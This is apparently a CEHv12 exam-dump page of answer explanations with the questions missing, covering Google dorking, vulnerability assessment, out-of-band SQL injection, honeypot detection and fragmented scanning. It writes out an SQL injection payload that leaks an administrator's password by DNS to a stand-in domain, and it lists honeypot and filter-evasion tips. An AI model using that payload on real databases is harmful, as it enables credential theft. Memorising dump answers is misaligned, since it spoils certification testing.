312-50v12 Exam Dumps - Certified Ethical Hacker Exam (CEHv12)

Google hacking or Google dorking https://en.wikipedia.org/wiki/Google_hacking

It is a hacker technique that uses Google Search and other Google applications to find security holes in the configuration and computer code that websites are using. Google dorking could also be used for OSINT.

Search syntax https://en.wikipedia.org/wiki/Google_Search

Google’s search engine has its own built-in query language. The following list of queries can be run to find a list of files, find information about your competition, track people, get information about SEO backlinks, build email lists, and of course, discover web vulnerabilities.

- [site:] - Search within a specific website

A vulnerability assessment is a systematic review of security weaknesses in an information system. It evaluates if the system is susceptible to any known vulnerabilities, assigns severity levels to those vulnerabilities, and recommends remediation or mitigation, if and whenever needed1. A vulnerability assessment can be performed using various tools and techniques, depending on the scope and objectives of the assessment.

Considering the potential vulnerability sources, the best initial approach to vulnerability assessment is to check for hardware and software misconfigurations to identify any possible loopholes. Hardware and software misconfigurations are common sources of vulnerabilities that can expose the system to unauthorized access, data breaches, or service disruptions. Hardware and software misconfigurations can include:

• Insecure default settings, such as weak passwords, open ports, unnecessary services, or verbose error messages.
• Improper access control policies, such as granting excessive privileges, allowing anonymous access, or failing to revoke access for terminated users.
• Lack of encryption or authentication mechanisms, such as using plain text protocols, storing sensitive data in clear text, or transmitting data without verifying the identity of the sender or receiver.
• Outdated or incompatible software versions, such as using unsupported or deprecated software, failing to apply security patches, or having software conflicts or dependencies.

Checking for hardware and software misconfigurations can help identify any possible loopholes that could be exploited by attackers to compromise the system or the data. Checking for hardware and software misconfigurations can be done using various tools, such as:

• Configuration management tools, such as Ansible, Puppet, or Chef, that can automate the deployment and maintenance of consistent and secure configurations across the system.
• Configuration auditing tools, such as Nipper, Lynis, or OpenSCAP, that can scan the system for deviations from the desired or expected configurations and report any issues or vulnerabilities.
• Configuration testing tools, such as Inspec, Serverspec, or Testinfra, that can verify the system’s compliance with the specified configuration rules and standards.

Therefore, checking for hardware and software misconfigurations is the best initial approach to vulnerability assessment, as it can help identify and eliminate any possible loopholes that could pose a security risk to the system or the data.

References:

• Vulnerability Assessment Principles | Tenable®
• Configuration Management Tools: A Complete Guide - Guru99
• Top 10 Configuration Auditing Tools - Infosec Resources
• [Configuration Testing Tools: A Complete Guide - Guru99]

An ‘out-of-band’ SQL Injection attack is a type of SQL injection where the attacker does not receive a response from the attacked application on the same communication channel but instead is able to cause the application to send data to a remote endpoint that they control1. This technique can be used to bypass input validation and pattern matching measures that are based on the application’s responses. The attacker can use various SQL functions or commands that trigger DNS or HTTP requests, such as load_file, copy, dbms_ldap, etc., depending on the SQL server type123. By concatenating the data they want to extract with a domain name they own, the attacker can receive the data via DNS or HTTP logs. For example, the attacker can inject the following SQL query to exfiltrate the password of the administrator user from a MySQL database:

SELECT load_file(CONCAT('\\\\',(SELECT password FROM users WHERE username='administrator'),'.example.com\\\\test.txt'))

This will cause the application to send a DNS request to the domain password.example.com, where password is the actual value of the administrator’s password1.

References:

• 1: Out-of-band SQL injection | Learn AppSec | Invicti
• 2: Lab: Blind SQL injection with out-of-band interaction | Web Security Academy
• 3: SQLi part 6: Out-of-band SQLi | Acunetix

A brute force attack is a method of trying different combinations of passwords or keys to gain access to a system or service. It is not a reliable way of detecting a honeypot, as it may trigger an alert or response from the target. Moreover, a brute force attack does not provide any information about the system’s characteristics or behavior that could indicate a honeypot. A honeypot is a decoy system that is designed to attract and trap attackers, while providing security teams with valuable intelligence and insights. Therefore, an ethical hacker needs to use more subtle and stealthy techniques to detect and avoid honeypots.

The other options are valid techniques for detecting a honeypot. Probing system services and observing the three-way handshake can reveal anomalies or inconsistencies in the system’s responses, such as abnormal banners, ports, or protocols. Using honeypot detection tools like Send-Safe Honeypot Hunter can scan the target network and identify potential honeypots based on various criteria, such as IP address, domain name, or open ports. Analyzing the MAC address can detect instances running on VMware, which is a common platform for deploying honeypots. A honeypot running on VMware will have a MAC address that starts with 00:0C:29, 00:50:56, or 00:05:69. References:

• What is a Honeypot? Types, Benefits, Risks and Best Practices
• Using Honeypots for Network Intrusion Detection
• Detecting Honeypot Access With Varonis

SYN/FIN scanning using IP fragments is a process of scanning that was developed to avoid false positives generated by other scans because of a packet filtering device on the target system. The TCP header splits into several packets to evade the packet filter. For any transmission, every TCP header must have the source and destination port for the initial packet (8-octet, 64-bit). The initialized flags in the next packet allow the remote host to reassemble the packets upon receipt via an Internet protocol module that detects the fragmented data packets using field-equivalent values of the source, destination, protocol, and identification.